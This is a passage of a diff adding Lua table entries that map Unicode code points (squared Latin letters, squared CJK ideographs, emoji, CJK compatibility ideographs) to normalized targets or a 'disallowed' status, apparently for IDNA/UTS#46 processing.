+ [0x1F140] = 0x0071, -- SQUARED LATIN CAPITAL LETTER Q
+ [0x1F141] = 0x0072, -- SQUARED LATIN CAPITAL LETTER R
+ [0x1F142] = 0x0073, -- SQUARED LATIN CAPITAL LETTER S
+ [0x1F143] = 0x0074, -- SQUARED LATIN CAPITAL LETTER T
+ [0x1F144] = 0x0075, -- SQUARED LATIN CAPITAL LETTER U
+ [0x1F145] = 0x0076, -- SQUARED LATIN CAPITAL LETTER V
+ [0x1F146] = 0x0077, -- SQUARED LATIN CAPITAL LETTER W
+ [0x1F147] = 0x0078, -- SQUARED LATIN CAPITAL LETTER X
+ [0x1F148] = 0x0079, -- SQUARED LATIN CAPITAL LETTER Y
+ [0x1F149] = 0x007A, -- SQUARED LATIN CAPITAL LETTER Z
+ [0x1F14A] = {0x0068, 0x0076}, -- SQUARED HV
+ [0x1F14B] = {0x006D, 0x0076}, -- SQUARED MV
+ [0x1F14C] = {0x0073, 0x0064}, -- SQUARED SD
+ [0x1F14D] = {0x0073, 0x0073}, -- SQUARED SS
+ [0x1F14E] = {0x0070, 0x0070, 0x0076}, -- SQUARED PPV
+ [0x1F14F] = {0x0077, 0x0063}, -- SQUARED WC
+ -- NA <reserved-1F10D>..<reserved-1F10F>
+ [0x1F10D] = {status="disallowed"},
+ [0x1F10E] = {status="disallowed"},
+ [0x1F10F] = {status="disallowed"},
+ [0x1F157] = {status="disallowed"}, -- NEGATIVE CIRCLED LATIN CAPITAL LETTER H
+ [0x1F15F] = {status="disallowed"}, -- NEGATIVE CIRCLED LATIN CAPITAL LETTER P
+ [0x1F16A] = {0x006D, 0x0063}, -- RAISED MC SIGN
+ [0x1F16B] = {0x006D, 0x0064}, -- RAISED MD SIGN
+ -- NA <reserved-1F16C>..<reserved-1F16F>
+ [0x1F16C] = {status="disallowed"},
+ [0x1F16D] = {status="disallowed"},
+ [0x1F16E] = {status="disallowed"},
+ [0x1F16F] = {status="disallowed"},
+ [0x1F179] = {status="disallowed"}, -- NEGATIVE SQUARED LATIN CAPITAL LETTER J
+ [0x1F17A] = {status="disallowed"}, -- NEGATIVE SQUARED LATIN CAPITAL LETTER K
+ [0x1F17F] = {status="disallowed"}, -- NEGATIVE SQUARED LATIN CAPITAL LETTER P
+ -- NEGATIVE SQUARED LATIN CAPITAL LETTER L..NEGATIVE SQUARED LATIN CAPITAL LETTER M
+ -- NEGATIVE SQUARED LATIN CAPITAL LETTER N..NEGATIVE SQUARED LATIN CAPITAL LETTER O
+ [0x1F17B] = {status="disallowed"},
+ [0x1F17C] = {status="disallowed"},
+ [0x1F17D] = {status="disallowed"},
+ [0x1F17E] = {status="disallowed"},
+ [0x1F190] = {0x0064, 0x006A}, -- SQUARE DJ
+ [0x1F200] = {0x307B, 0x304B}, -- SQUARE HIRAGANA HOKA
+ [0x1F201] = {0x30B3, 0x30B3}, -- SQUARED KATAKANA KOKO
+ [0x1F202] = 0x30B5, -- SQUARED KATAKANA SA
+ [0x1F210] = 0x624B, -- SQUARED CJK UNIFIED IDEOGRAPH-624B
+ [0x1F211] = 0x5B57, -- SQUARED CJK UNIFIED IDEOGRAPH-5B57
+ [0x1F212] = 0x53CC, -- SQUARED CJK UNIFIED IDEOGRAPH-53CC
+ [0x1F213] = 0x30C7, -- SQUARED KATAKANA DE
+ [0x1F214] = 0x4E8C, -- SQUARED CJK UNIFIED IDEOGRAPH-4E8C
+ [0x1F215] = 0x591A, -- SQUARED CJK UNIFIED IDEOGRAPH-591A
+ [0x1F216] = 0x89E3, -- SQUARED CJK UNIFIED IDEOGRAPH-89E3
+ [0x1F217] = 0x5929, -- SQUARED CJK UNIFIED IDEOGRAPH-5929
+ [0x1F218] = 0x4EA4, -- SQUARED CJK UNIFIED IDEOGRAPH-4EA4
+ [0x1F219] = 0x6620, -- SQUARED CJK UNIFIED IDEOGRAPH-6620
+ [0x1F21A] = 0x7121, -- SQUARED CJK UNIFIED IDEOGRAPH-7121
+ [0x1F21B] = 0x6599, -- SQUARED CJK UNIFIED IDEOGRAPH-6599
+ [0x1F21C] = 0x524D, -- SQUARED CJK UNIFIED IDEOGRAPH-524D
+ [0x1F21D] = 0x5F8C, -- SQUARED CJK UNIFIED IDEOGRAPH-5F8C
+ [0x1F21E] = 0x518D, -- SQUARED CJK UNIFIED IDEOGRAPH-518D
+ [0x1F21F] = 0x65B0, -- SQUARED CJK UNIFIED IDEOGRAPH-65B0
+ [0x1F220] = 0x521D, -- SQUARED CJK UNIFIED IDEOGRAPH-521D
+ [0x1F221] = 0x7D42, -- SQUARED CJK UNIFIED IDEOGRAPH-7D42
+ [0x1F222] = 0x751F, -- SQUARED CJK UNIFIED IDEOGRAPH-751F
+ [0x1F223] = 0x8CA9, -- SQUARED CJK UNIFIED IDEOGRAPH-8CA9
+ [0x1F224] = 0x58F0, -- SQUARED CJK UNIFIED IDEOGRAPH-58F0
+ [0x1F225] = 0x5439, -- SQUARED CJK UNIFIED IDEOGRAPH-5439
+ [0x1F226] = 0x6F14, -- SQUARED CJK UNIFIED IDEOGRAPH-6F14
+ [0x1F227] = 0x6295, -- SQUARED CJK UNIFIED IDEOGRAPH-6295
+ [0x1F228] = 0x6355, -- SQUARED CJK UNIFIED IDEOGRAPH-6355
+ [0x1F229] = 0x4E00, -- SQUARED CJK UNIFIED IDEOGRAPH-4E00
+ [0x1F22A] = 0x4E09, -- SQUARED CJK UNIFIED IDEOGRAPH-4E09
+ [0x1F22B] = 0x904A, -- SQUARED CJK UNIFIED IDEOGRAPH-904A
+ [0x1F22C] = 0x5DE6, -- SQUARED CJK UNIFIED IDEOGRAPH-5DE6
+ [0x1F22D] = 0x4E2D, -- SQUARED CJK UNIFIED IDEOGRAPH-4E2D
+ [0x1F22E] = 0x53F3, -- SQUARED CJK UNIFIED IDEOGRAPH-53F3
+ [0x1F22F] = 0x6307, -- SQUARED CJK UNIFIED IDEOGRAPH-6307
+ [0x1F230] = 0x8D70, -- SQUARED CJK UNIFIED IDEOGRAPH-8D70
+ [0x1F231] = 0x6253, -- SQUARED CJK UNIFIED IDEOGRAPH-6253
+ [0x1F232] = 0x7981, -- SQUARED CJK UNIFIED IDEOGRAPH-7981
+ [0x1F233] = 0x7A7A, -- SQUARED CJK UNIFIED IDEOGRAPH-7A7A
+ [0x1F234] = 0x5408, -- SQUARED CJK UNIFIED IDEOGRAPH-5408
+ [0x1F235] = 0x6E80, -- SQUARED CJK UNIFIED IDEOGRAPH-6E80
+ [0x1F236] = 0x6709, -- SQUARED CJK UNIFIED IDEOGRAPH-6709
+ [0x1F237] = 0x6708, -- SQUARED CJK UNIFIED IDEOGRAPH-6708
+ [0x1F238] = 0x7533, -- SQUARED CJK UNIFIED IDEOGRAPH-7533
+ [0x1F239] = 0x5272, -- SQUARED CJK UNIFIED IDEOGRAPH-5272
+ [0x1F23A] = 0x55B6, -- SQUARED CJK UNIFIED IDEOGRAPH-55B6
+ [0x1F23B] = 0x914D, -- SQUARED CJK UNIFIED IDEOGRAPH-914D
+ [0x1F240] = {0x3014, 0x672C, 0x3015}, -- TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C
+ [0x1F241] = {0x3014, 0x4E09, 0x3015}, -- TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09
+ [0x1F242] = {0x3014, 0x4E8C, 0x3015}, -- TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C
+ [0x1F243] = {0x3014, 0x5B89, 0x3015}, -- TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89
+ [0x1F244] = {0x3014, 0x70B9, 0x3015}, -- TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9
+ [0x1F245] = {0x3014, 0x6253, 0x3015}, -- TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253
+ [0x1F246] = {0x3014, 0x76D7, 0x3015}, -- TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7
+ [0x1F247] = {0x3014, 0x52DD, 0x3015}, -- TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD
+ [0x1F248] = {0x3014, 0x6557, 0x3015}, -- TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
+ -- NA <reserved-1F23C>..<reserved-1F23F>
+ [0x1F23C] = {status="disallowed"},
+ [0x1F23D] = {status="disallowed"},
+ [0x1F23E] = {status="disallowed"},
+ [0x1F23F] = {status="disallowed"},
+ [0x1F250] = 0x5F97, -- CIRCLED IDEOGRAPH ADVANTAGE
+ [0x1F251] = 0x53EF, -- CIRCLED IDEOGRAPH ACCEPT
+ [0x1F336] = {status="disallowed"}, -- HOT PEPPER
+ [0x1F37D] = {status="disallowed"}, -- FORK AND KNIFE WITH PLATE
+ [0x1F3C5] = {status="disallowed"}, -- SPORTS MEDAL
+ [0x1F43F] = {status="disallowed"}, -- CHIPMUNK
+ [0x1F440] = {status="disallowed"}, -- EYES
+ [0x1F441] = {status="disallowed"}, -- EYE
+ [0x1F4F8] = {status="disallowed"}, -- CAMERA WITH FLASH
+ [0x1F4FF] = {status="disallowed"}, -- PRAYER BEADS
+ [0x1F57A] = {status="disallowed"}, -- MAN DANCING
+ [0x1F5A4] = {status="disallowed"}, -- BLACK HEART
+ [0x1F600] = {status="disallowed"}, -- GRINNING FACE
+ [0x1F611] = {status="disallowed"}, -- EXPRESSIONLESS FACE
+ [0x1F615] = {status="disallowed"}, -- CONFUSED FACE
+ [0x1F616] = {status="disallowed"}, -- CONFOUNDED FACE
+ [0x1F617] = {status="disallowed"}, -- KISSING FACE
+ [0x1F618] = {status="disallowed"}, -- FACE THROWING A KISS
+ [0x1F619] = {status="disallowed"}, -- KISSING FACE WITH SMILING EYES
+ [0x1F61A] = {status="disallowed"}, -- KISSING FACE WITH CLOSED EYES
+ [0x1F61B] = {status="disallowed"}, -- FACE WITH STUCK-OUT TONGUE
+ -- UNAMUSED FACE..PENSIVE FACE
+ [0x1F612] = {status="disallowed"},
+ [0x1F613] = {status="disallowed"},
+ [0x1F614] = {status="disallowed"},
+ [0x1F61F] = {status="disallowed"}, -- WORRIED FACE
+ -- FACE WITH STUCK-OUT TONGUE AND WINKING EYE..DISAPPOINTED FACE
+ [0x1F61C] = {status="disallowed"},
+ [0x1F61D] = {status="disallowed"},
+ [0x1F61E] = {status="disallowed"},
+ [0x1F62C] = {status="disallowed"}, -- GRIMACING FACE
+ [0x1F62D] = {status="disallowed"}, -- LOUDLY CRYING FACE
+ [0x1F634] = {status="disallowed"}, -- SLEEPING FACE
+ [0x1F6D0] = {status="disallowed"}, -- PLACE OF WORSHIP
+ -- OCTAGONAL SIGN..SHOPPING TROLLEY
+ -- STUPA..PAGODA
+ [0x1F6D1] = {status="disallowed"},
+ [0x1F6D2] = {status="disallowed"},
+ [0x1F6D3] = {status="disallowed"},
+ [0x1F6D4] = {status="disallowed"},
+ -- NA <reserved-1F6ED>..<reserved-1F6EF>
+ [0x1F6ED] = {status="disallowed"},
+ [0x1F6EE] = {status="disallowed"},
+ [0x1F6EF] = {status="disallowed"},
+ -- NA <reserved-1F80C>..<reserved-1F80F>
+ [0x1F80C] = {status="disallowed"},
+ [0x1F80D] = {status="disallowed"},
+ [0x1F80E] = {status="disallowed"},
+ [0x1F80F] = {status="disallowed"},
+ -- NA <reserved-1F90C>..<reserved-1F90F>
+ [0x1F90C] = {status="disallowed"},
+ [0x1F90D] = {status="disallowed"},
+ [0x1F90E] = {status="disallowed"},
+ [0x1F90F] = {status="disallowed"},
+ [0x1F91F] = {status="disallowed"}, -- I LOVE YOU HAND SIGN
+ [0x1F930] = {status="disallowed"}, -- PREGNANT WOMAN
+ [0x1F93F] = {status="disallowed"}, -- NA <reserved-1F93F>
+ [0x1F94C] = {status="disallowed"}, -- CURLING STONE
+ -- NA <reserved-1F94D>..<reserved-1F94F>
+ [0x1F94D] = {status="disallowed"},
+ [0x1F94E] = {status="disallowed"},
+ [0x1F94F] = {status="disallowed"},
+ [0x1F9C0] = {status="disallowed"}, -- CHEESE WEDGE
+ -- NA <reserved-2B81E>..<reserved-2B81F>
+ [0x2B81E] = {status="disallowed"},
+ [0x2B81F] = {status="disallowed"},
+ [0x2F800] = 0x4E3D, -- CJK COMPATIBILITY IDEOGRAPH-2F800
+ [0x2F801] = 0x4E38, -- CJK COMPATIBILITY IDEOGRAPH-2F801
+ [0x2F802] = 0x4E41, -- CJK COMPATIBILITY IDEOGRAPH-2F802
+ [0x2F803] = 0x20122, -- CJK COMPATIBILITY IDEOGRAPH-2F803
+ [0x2F804] = 0x4F60, -- CJK COMPATIBILITY IDEOGRAPH-2F804
+ [0x2F805] = 0x4FAE, -- CJK COMPATIBILITY IDEOGRAPH-2F805
+ [0x2F806] = 0x4FBB, -- CJK COMPATIBILITY IDEOGRAPH-2F806
+ [0x2F807] = 0x5002, -- CJK COMPATIBILITY IDEOGRAPH-2F807
+ [0x2F808] = 0x507A, -- CJK COMPATIBILITY IDEOGRAPH-2F808
+ [0x2F809] = 0x5099, -- CJK COMPATIBILITY IDEOGRAPH-2F809
+ [0x2F80A] = 0x50E7, -- CJK COMPATIBILITY IDEOGRAPH-2F80A
+ [0x2F80B] = 0x50CF, -- CJK COMPATIBILITY IDEOGRAPH-2F80B
+ [0x2F80C] = 0x349E, -- CJK COMPATIBILITY IDEOGRAPH-2F80C
+ [0x2F80D] = 0x2063A, -- CJK COMPATIBILITY IDEOGRAPH-2F80D
+ [0x2F80E] = 0x514D, -- CJK COMPATIBILITY IDEOGRAPH-2F80E
+ [0x2F80F] = 0x5154, -- CJK COMPATIBILITY IDEOGRAPH-2F80F
+ [0x2F810] = 0x5164, -- CJK COMPATIBILITY IDEOGRAPH-2F810
+ [0x2F811] = 0x5177, -- CJK COMPATIBILITY IDEOGRAPH-2F811
+ [0x2F812] = 0x2051C, -- CJK COMPATIBILITY IDEOGRAPH-2F812
+ [0x2F813] = 0x34B9, -- CJK COMPATIBILITY IDEOGRAPH-2F813
+ [0x2F814] = 0x5167, -- CJK COMPATIBILITY IDEOGRAPH-2F814
+ [0x2F815] = 0x518D, -- CJK COMPATIBILITY IDEOGRAPH-2F815
+ [0x2F816] = 0x2054B, -- CJK COMPATIBILITY IDEOGRAPH-2F816
+ [0x2F817] = 0x5197, -- CJK COMPATIBILITY IDEOGRAPH-2F817
+ [0x2F818] = 0x51A4, -- CJK COMPATIBILITY IDEOGRAPH-2F818
+ [0x2F819] = 0x4ECC, -- CJK COMPATIBILITY IDEOGRAPH-2F819
+ [0x2F81A] = 0x51AC, -- CJK COMPATIBILITY IDEOGRAPH-2F81A
+ [0x2F81B] = 0x51B5, -- CJK COMPATIBILITY IDEOGRAPH-2F81B
+ [0x2F81C] = 0x291DF, -- CJK COMPATIBILITY IDEOGRAPH-2F81C
+ [0x2F81D] = 0x51F5, -- CJK COMPATIBILITY IDEOGRAPH-2F81D
+ [0x2F81E] = 0x5203, -- CJK COMPATIBILITY IDEOGRAPH-2F81E
+ [0x2F81F] = 0x34DF, -- CJK COMPATIBILITY IDEOGRAPH-2F81F
+ [0x2F820] = 0x523B, -- CJK COMPATIBILITY IDEOGRAPH-2F820
+ [0x2F821] = 0x5246, -- CJK COMPATIBILITY IDEOGRAPH-2F821
+ [0x2F822] = 0x5272, -- CJK COMPATIBILITY IDEOGRAPH-2F822
+ [0x2F823] = 0x5277, -- CJK COMPATIBILITY IDEOGRAPH-2F823
+ [0x2F824] = 0x3515, -- CJK COMPATIBILITY IDEOGRAPH-2F824
+ [0x2F825] = 0x52C7, -- CJK COMPATIBILITY IDEOGRAPH-2F825
+ [0x2F826] = 0x52C9, -- CJK COMPATIBILITY IDEOGRAPH-2F826
+ [0x2F827] = 0x52E4, -- CJK COMPATIBILITY IDEOGRAPH-2F827
+ [0x2F828] = 0x52FA, -- CJK COMPATIBILITY IDEOGRAPH-2F828
+ [0x2F829] = 0x5305, -- CJK COMPATIBILITY IDEOGRAPH-2F829
+ [0x2F82A] = 0x5306, -- CJK COMPATIBILITY IDEOGRAPH-2F82A
+ [0x2F82B] = 0x5317, -- CJK COMPATIBILITY IDEOGRAPH-2F82B
+ [0x2F82C] = 0x5349, -- CJK COMPATIBILITY IDEOGRAPH-2F82C
+ [0x2F82D] = 0x5351, -- CJK COMPATIBILITY IDEOGRAPH-2F82D
+ [0x2F82E] = 0x535A, -- CJK COMPATIBILITY IDEOGRAPH-2F82E
+ [0x2F82F] = 0x5373, -- CJK COMPATIBILITY IDEOGRAPH-2F82F
+ [0x2F830] = 0x537D, -- CJK COMPATIBILITY IDEOGRAPH-2F830
+ [0x2F834] = 0x20A2C, -- CJK COMPATIBILITY IDEOGRAPH-2F834
+ [0x2F835] = 0x7070, -- CJK COMPATIBILITY IDEOGRAPH-2F835
+ [0x2F836] = 0x53CA, -- CJK COMPATIBILITY IDEOGRAPH-2F836
+ [0x2F837] = 0x53DF, -- CJK COMPATIBILITY IDEOGRAPH-2F837
+ [0x2F838] = 0x20B63, -- CJK COMPATIBILITY IDEOGRAPH-2F838
+ [0x2F839] = 0x53EB, -- CJK COMPATIBILITY IDEOGRAPH-2F839
+ [0x2F83A] = 0x53F1, -- CJK COMPATIBILITY IDEOGRAPH-2F83A
+ [0x2F83B] = 0x5406, -- CJK COMPATIBILITY IDEOGRAPH-2F83B
+ [0x2F83C] = 0x549E, -- CJK COMPATIBILITY IDEOGRAPH-2F83C
+ [0x2F83D] = 0x5438, -- CJK COMPATIBILITY IDEOGRAPH-2F83D
+ [0x2F83E] = 0x5448, -- CJK COMPATIBILITY IDEOGRAPH-2F83E
+ [0x2F83F] = 0x5468, -- CJK COMPATIBILITY IDEOGRAPH-2F83F
+ [0x2F840] = 0x54A2, -- CJK COMPATIBILITY IDEOGRAPH-2F840
+ [0x2F841] = 0x54F6, -- CJK COMPATIBILITY IDEOGRAPH-2F841
+ [0x2F842] = 0x5510, -- CJK COMPATIBILITY IDEOGRAPH-2F842
+ [0x2F843] = 0x5553, -- CJK COMPATIBILITY IDEOGRAPH-2F843
+ [0x2F844] = 0x5563, -- CJK COMPATIBILITY IDEOGRAPH-2F844
+ -- CJK COMPATIBILITY IDEOGRAPH-2F831..CJK COMPATIBILITY IDEOGRAPH-2F833
+ [0x2F831] = 0x537F,
+ [0x2F832] = 0x537F,
+ [0x2F833] = 0x537F,
+ [0x2F847] = 0x5599, -- CJK COMPATIBILITY IDEOGRAPH-2F847
+ [0x2F848] = 0x55AB, -- CJK COMPATIBILITY IDEOGRAPH-2F848
+ [0x2F849] = 0x55B3, -- CJK COMPATIBILITY IDEOGRAPH-2F849
+ [0x2F84A] = 0x55C2, -- CJK COMPATIBILITY IDEOGRAPH-2F84A
+ [0x2F84B] = 0x5716, -- CJK COMPATIBILITY IDEOGRAPH-2F84B
+ [0x2F84C] = 0x5606, -- CJK COMPATIBILITY IDEOGRAPH-2F84C
+ [0x2F84D] = 0x5717, -- CJK COMPATIBILITY IDEOGRAPH-2F84D
+ [0x2F84E] = 0x5651, -- CJK COMPATIBILITY IDEOGRAPH-2F84E
+ [0x2F84F] = 0x5674, -- CJK COMPATIBILITY IDEOGRAPH-2F84F
+ [0x2F850] = 0x5207, -- CJK COMPATIBILITY IDEOGRAPH-2F850
+ [0x2F851] = 0x58EE, -- CJK COMPATIBILITY IDEOGRAPH-2F851
+ [0x2F852] = 0x57CE, -- CJK COMPATIBILITY IDEOGRAPH-2F852
+ [0x2F853] = 0x57F4, -- CJK COMPATIBILITY IDEOGRAPH-2F853
+ [0x2F854] = 0x580D, -- CJK COMPATIBILITY IDEOGRAPH-2F854
+ [0x2F855] = 0x578B, -- CJK COMPATIBILITY IDEOGRAPH-2F855
+ [0x2F856] = 0x5832, -- CJK COMPATIBILITY IDEOGRAPH-2F856
+ [0x2F857] = 0x5831, -- CJK COMPATIBILITY IDEOGRAPH-2F857
+ [0x2F858] = 0x58AC, -- CJK COMPATIBILITY IDEOGRAPH-2F858
+ [0x2F859] = 0x214E4, -- CJK COMPATIBILITY IDEOGRAPH-2F859
+ [0x2F85A] = 0x58F2, -- CJK COMPATIBILITY IDEOGRAPH-2F85A
+ [0x2F85B] = 0x58F7, -- CJK COMPATIBILITY IDEOGRAPH-2F85B
+ [0x2F85C] = 0x5906, -- CJK COMPATIBILITY IDEOGRAPH-2F85C
+ [0x2F85D] = 0x591A, -- CJK COMPATIBILITY IDEOGRAPH-2F85D
+ [0x2F85E] = 0x5922, -- CJK COMPATIBILITY IDEOGRAPH-2F85E
+ [0x2F85F] = 0x5962, -- CJK COMPATIBILITY IDEOGRAPH-2F85F
+ [0x2F860] = 0x216A8, -- CJK COMPATIBILITY IDEOGRAPH-2F860
+ [0x2F861] = 0x216EA, -- CJK COMPATIBILITY IDEOGRAPH-2F861
+ [0x2F862] = 0x59EC, -- CJK COMPATIBILITY IDEOGRAPH-2F862
+ [0x2F863] = 0x5A1B, -- CJK COMPATIBILITY IDEOGRAPH-2F863
+ [0x2F864] = 0x5A27, -- CJK COMPATIBILITY IDEOGRAPH-2F864
+ [0x2F865] = 0x59D8, -- CJK COMPATIBILITY IDEOGRAPH-2F865
+ [0x2F866] = 0x5A66, -- CJK COMPATIBILITY IDEOGRAPH-2F866
+ [0x2F867] = 0x36EE, -- CJK COMPATIBILITY IDEOGRAPH-2F867
+ [0x2F868] = {status="disallowed"}, -- CJK COMPATIBILITY IDEOGRAPH-2F868
+ [0x2F869] = 0x5B08, -- CJK COMPATIBILITY IDEOGRAPH-2F869
+ -- CJK COMPATIBILITY IDEOGRAPH-2F845..CJK COMPATIBILITY IDEOGRAPH-2F846
+ [0x2F845] = 0x5584,
+ [0x2F846] = 0x5584,
+ [0x2F86C] = 0x219C8, -- CJK COMPATIBILITY IDEOGRAPH-2F86C
+ [0x2F86D] = 0x5BC3, -- CJK COMPATIBILITY IDEOGRAPH-2F86D
+ [0x2F86E] = 0x5BD8, -- CJK COMPATIBILITY IDEOGRAPH-2F86E
+ [0x2F86F] = 0x5BE7, -- CJK COMPATIBILITY IDEOGRAPH-2F86F
+ [0x2F870] = 0x5BF3, -- CJK COMPATIBILITY IDEOGRAPH-2F870
+ [0x2F871] = 0x21B18, -- CJK COMPATIBILITY IDEOGRAPH-2F871
+ [0x2F872] = 0x5BFF, -- CJK COMPATIBILITY IDEOGRAPH-2F872
+ [0x2F873] = 0x5C06, -- CJK COMPATIBILITY IDEOGRAPH-2F873
+ [0x2F874] = {status="disallowed"}, -- CJK COMPATIBILITY IDEOGRAPH-2F874
+ [0x2F875] = 0x5C22, -- CJK COMPATIBILITY IDEOGRAPH-2F875
+ [0x2F876] = 0x3781, -- CJK COMPATIBILITY IDEOGRAPH-2F876
+ [0x2F877] = 0x5C60, -- CJK COMPATIBILITY IDEOGRAPH-2F877
+ [0x2F878] = 0x5C6E, -- CJK COMPATIBILITY IDEOGRAPH-2F878
+ [0x2F879] = 0x5CC0, -- CJK COMPATIBILITY IDEOGRAPH-2F879
+ [0x2F87A] = 0x5C8D, -- CJK COMPATIBILITY IDEOGRAPH-2F87A
+ [0x2F87B] = 0x21DE4, -- CJK COMPATIBILITY IDEOGRAPH-2F87B
+ [0x2F87C] = 0x5D43, -- CJK COMPATIBILITY IDEOGRAPH-2F87C
+ [0x2F87D] = 0x21DE6, -- CJK COMPATIBILITY IDEOGRAPH-2F87D
+ [0x2F87E] = 0x5D6E, -- CJK COMPATIBILITY IDEOGRAPH-2F87E
+ [0x2F87F] = 0x5D6B, -- CJK COMPATIBILITY IDEOGRAPH-2F87F
+ [0x2F880] = 0x5D7C, -- CJK COMPATIBILITY IDEOGRAPH-2F880
+ [0x2F881] = 0x5DE1, -- CJK COMPATIBILITY IDEOGRAPH-2F881
+ [0x2F882] = 0x5DE2, -- CJK COMPATIBILITY IDEOGRAPH-2F882
+ [0x2F883] = 0x382F, -- CJK COMPATIBILITY IDEOGRAPH-2F883
+ [0x2F884] = 0x5DFD, -- CJK COMPATIBILITY IDEOGRAPH-2F884
+ [0x2F885] = 0x5E28, -- CJK COMPATIBILITY IDEOGRAPH-2F885
+ [0x2F886] = 0x5E3D, -- CJK COMPATIBILITY IDEOGRAPH-2F886
+ [0x2F887] = 0x5E69, -- CJK COMPATIBILITY IDEOGRAPH-2F887
+ [0x2F888] = 0x3862, -- CJK COMPATIBILITY IDEOGRAPH-2F888
+ [0x2F889] = 0x22183, -- CJK COMPATIBILITY IDEOGRAPH-2F889
+ [0x2F88A] = 0x387C, -- CJK COMPATIBILITY IDEOGRAPH-2F88A
+ [0x2F88B] = 0x5EB0, -- CJK COMPATIBILITY IDEOGRAPH-2F88B
+ [0x2F88C] = 0x5EB3, -- CJK COMPATIBILITY IDEOGRAPH-2F88C
+ [0x2F88D] = 0x5EB6, -- CJK COMPATIBILITY IDEOGRAPH-2F88D
+ [0x2F88E] = 0x5ECA, -- CJK COMPATIBILITY IDEOGRAPH-2F88E
+ [0x2F88F] = 0x2A392, -- CJK COMPATIBILITY IDEOGRAPH-2F88F
+ [0x2F890] = 0x5EFE, -- CJK COMPATIBILITY IDEOGRAPH-2F890
+ -- CJK COMPATIBILITY IDEOGRAPH-2F86A..CJK COMPATIBILITY IDEOGRAPH-2F86B
+ [0x2F86A] = 0x5B3E,
+ [0x2F86B] = 0x5B3E,
+ [0x2F893] = 0x8201, -- CJK COMPATIBILITY IDEOGRAPH-2F893
+ -- CJK COMPATIBILITY IDEOGRAPH-2F891..CJK COMPATIBILITY IDEOGRAPH-2F892
+ [0x2F891] = 0x22331,
+ [0x2F892] = 0x22331,
+ [0x2F896] = 0x38C7, -- CJK COMPATIBILITY IDEOGRAPH-2F896
+ [0x2F897] = 0x232B8, -- CJK COMPATIBILITY IDEOGRAPH-2F897
+ [0x2F898] = 0x261DA, -- CJK COMPATIBILITY IDEOGRAPH-2F898
+ [0x2F899] = 0x5F62, -- CJK COMPATIBILITY IDEOGRAPH-2F899
+ [0x2F89A] = 0x5F6B, -- CJK COMPATIBILITY IDEOGRAPH-2F89A
+ [0x2F89B] = 0x38E3, -- CJK COMPATIBILITY IDEOGRAPH-2F89B
+ [0x2F89C] = 0x5F9A, -- CJK COMPATIBILITY IDEOGRAPH-2F89C
+ [0x2F89D] = 0x5FCD, -- CJK COMPATIBILITY IDEOGRAPH-2F89D
+ [0x2F89E] = 0x5FD7, -- CJK COMPATIBILITY IDEOGRAPH-2F89E
+ [0x2F89F] = 0x5FF9, -- CJK COMPATIBILITY IDEOGRAPH-2F89F
+ [0x2F8A0] = 0x6081, -- CJK COMPATIBILITY IDEOGRAPH-2F8A0
+ [0x2F8A1] = 0x393A, -- CJK COMPATIBILITY IDEOGRAPH-2F8A1
+ [0x2F8A2] = 0x391C, -- CJK COMPATIBILITY IDEOGRAPH-2F8A2
+ [0x2F8A3] = 0x6094, -- CJK COMPATIBILITY IDEOGRAPH-2F8A3
+ [0x2F8A4] = 0x226D4, -- CJK COMPATIBILITY IDEOGRAPH-2F8A4
+ [0x2F8A5] = 0x60C7, -- CJK COMPATIBILITY IDEOGRAPH-2F8A5
+ [0x2F8A6] = 0x6148, -- CJK COMPATIBILITY IDEOGRAPH-2F8A6
+ [0x2F8A7] = 0x614C, -- CJK COMPATIBILITY IDEOGRAPH-2F8A7
+ [0x2F8A8] = 0x614E, -- CJK COMPATIBILITY IDEOGRAPH-2F8A8
+ [0x2F8A9] = 0x614C, -- CJK COMPATIBILITY IDEOGRAPH-2F8A9
+ [0x2F8AA] = 0x617A, -- CJK COMPATIBILITY IDEOGRAPH-2F8AA
+ [0x2F8AB] = 0x618E, -- CJK COMPATIBILITY IDEOGRAPH-2F8AB
+ [0x2F8AC] = 0x61B2, -- CJK COMPATIBILITY IDEOGRAPH-2F8AC
+ [0x2F8AD] = 0x61A4, -- CJK COMPATIBILITY IDEOGRAPH-2F8AD
+ [0x2F8AE] = 0x61AF, -- CJK COMPATIBILITY IDEOGRAPH-2F8AE
+ [0x2F8AF] = 0x61DE, -- CJK COMPATIBILITY IDEOGRAPH-2F8AF
+ [0x2F8B0] = 0x61F2, -- CJK COMPATIBILITY IDEOGRAPH-2F8B0
+ [0x2F8B1] = 0x61F6, -- CJK COMPATIBILITY IDEOGRAPH-2F8B1
+ [0x2F8B2] = 0x6210, -- CJK COMPATIBILITY IDEOGRAPH-2F8B2
+ [0x2F8B3] = 0x621B, -- CJK COMPATIBILITY IDEOGRAPH-2F8B3
+ [0x2F8B4] = 0x625D, -- CJK COMPATIBILITY IDEOGRAPH-2F8B4
+ [0x2F8B5] = 0x62B1, -- CJK COMPATIBILITY IDEOGRAPH-2F8B5
+ [0x2F8B6] = 0x62D4, -- CJK COMPATIBILITY IDEOGRAPH-2F8B6
+ [0x2F8B7] = 0x6350, -- CJK COMPATIBILITY IDEOGRAPH-2F8B7
+ [0x2F8B8] = 0x22B0C, -- CJK COMPATIBILITY IDEOGRAPH-2F8B8
+ [0x2F8B9] = 0x633D, -- CJK COMPATIBILITY IDEOGRAPH-2F8B9
+ [0x2F8BA] = 0x62FC, -- CJK COMPATIBILITY IDEOGRAPH-2F8BA
+ [0x2F8BB] = 0x6368, -- CJK COMPATIBILITY IDEOGRAPH-2F8BB
+ [0x2F8BC] = 0x6383, -- CJK COMPATIBILITY IDEOGRAPH-2F8BC
+ [0x2F8BD] = 0x63E4, -- CJK COMPATIBILITY IDEOGRAPH-2F8BD
+ [0x2F8BE] = 0x22BF1, -- CJK COMPATIBILITY IDEOGRAPH-2F8BE
+ [0x2F8BF] = 0x6422, -- CJK COMPATIBILITY IDEOGRAPH-2F8BF
+ [0x2F8C0] = 0x63C5, -- CJK COMPATIBILITY IDEOGRAPH-2F8C0
+ [0x2F8C1] = 0x63A9, -- CJK COMPATIBILITY IDEOGRAPH-2F8C1
